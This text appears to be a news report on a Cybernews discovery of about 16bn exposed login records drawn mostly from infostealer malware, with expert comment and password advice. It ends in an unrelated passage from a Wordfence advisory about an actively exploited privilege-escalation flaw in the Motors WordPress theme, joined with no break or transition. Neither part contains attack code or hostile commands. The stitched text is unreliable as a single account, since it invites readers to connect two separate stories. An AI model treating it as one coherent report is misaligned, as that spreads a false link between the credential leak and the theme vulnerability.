Researchers at Cybernews, an online tech publication, said they had found 30 datasets stuffed with credentials harvested from malicious software known as “infostealers” and leaks.
The researchers said the datasets were exposed “only briefly” but amounted to 16bn login records, with an unspecified number of overlapping records – meaning it is difficult to say definitively how many accounts or people have been exposed.
Cybernews said the credentials could open access to services including Facebook, Apple and Google – although there had been no “centralised data breach” at those companies.
Bob Diachenko, the Ukrainian cybersecurity specialist behind the research, said the datasets had become temporarily available after being poorly stored on remote servers – before being removed again. Diachenko said he was able to download the files and would aim to contact individuals and companies that had been exposed.
“It will take some time of course because it is an enormous amount of data,” he said.
Diachenko said the information he had seen in infostealer logs included login URLs to Apple, Facebook and Google login pages. Apple and Facebook’s parent, Meta, have been contacted for comment.
A Google spokesperson said the data reported by Cybernews did not stem from a Google data breach – and recommended people use tools like Google’s password manager to protect their accounts.
Internet users are also able to check if their email has been compromised in a data breach by using the website haveibeenpwned.com. Cybernews said the information seen in the datasets followed a “clear structure: URL, followed by login details and a password”.
Diachenko said the data appeared to be “85% infostealers” and about 15% from historical data breaches such as a leak suffered by LinkedIn.
Experts said the research underlined the need to update passwords regularly and adopt tough security measures such as multifactor authentication – or combining a password with another form of verification such as a code texted from a phone. Other recommended measures include passkeys, a password-free method championed by Google and Facebook’s owner, Meta.
“While you’d be right to be startled at the huge volume of data exposed in this leak it’s important to note that there is no new threat here: this data will have already likely have been in circulation,” said Peter Mackenzie, the director of incident response and readiness at the cybersecurity firm Sophos.
Mackenzie said the research underlined the scale of data that can be accessed by online criminals.
“What we are understanding is the depth of information available to cybercriminals.”
He added: “It is an important reminder to everyone to take proactive steps to update passwords, use a password manager and employ multifactor authentication to avoid credential issues in the future.”
Toby Lewis, the global head of threat analysis at the cybersecurity firm Darktrace, said the data flagged in the research is hard to verify but infostealers – the malware reportedly behind the data theft – are “very much real and in use by bad actors”.
He said: “They don’t access a user’s account but instead scrape information from their browser cookies and metadata. If you’re following good practice of using password managers, turning on two-factor authentication and checking suspicious logins, this isn’t something you should be greatly worried about.”
Cybernews said none of the datasets have been reported previously barring one revealed in May with 184m records. It described the datasets as a “blueprint for mass exploitation” including “account takeover, identity theft, and highly targeted phishing”.
The researchers added: “The only silver lining here is that all of the datasets were exposed only briefly: long enough for researchers to uncover them, but not long enough to find who was controlling vast amounts of data.”
Alan Woodward, a professor of cybersecurity at Surrey University, said the news was a reminder to carry out “password spring cleaning”. He added: “The fact that everything seems to be breached eventually is why there is such a big push for zero trust security measures.”
On May 2nd, 2025, Wordfence received a submission for a Privilege Escalation vulnerability in Motors, a WordPress theme with more than 22,000 sales. This vulnerability makes it possible for an unauthenticated attacker to change the password of any user, including an administrator, which allows them to take over the account and the website. We originally disclosed this vulnerability on May 19th, 2025 and our records indicate that attackers started exploiting the issue the next day on May 20th, 2025. It appears mass exploitation started on June 7th, 2025. The Wordfence Firewall has already blocked over 23,100 exploit attempts targeting this vulnerability.
Paid Wordfence users received a firewall rule to protect against any exploits targeting this vulnerability on May 6, 2025. Sites using the free version of Wordfence received the same protection after the standard 30-day delay on June 5, 2025.
We urge users to ensure their sites are updated with the latest patched version of Motors, version 5.6.68 at the time of this writing, as soon as possible, as this vulnerability is under active exploitation.
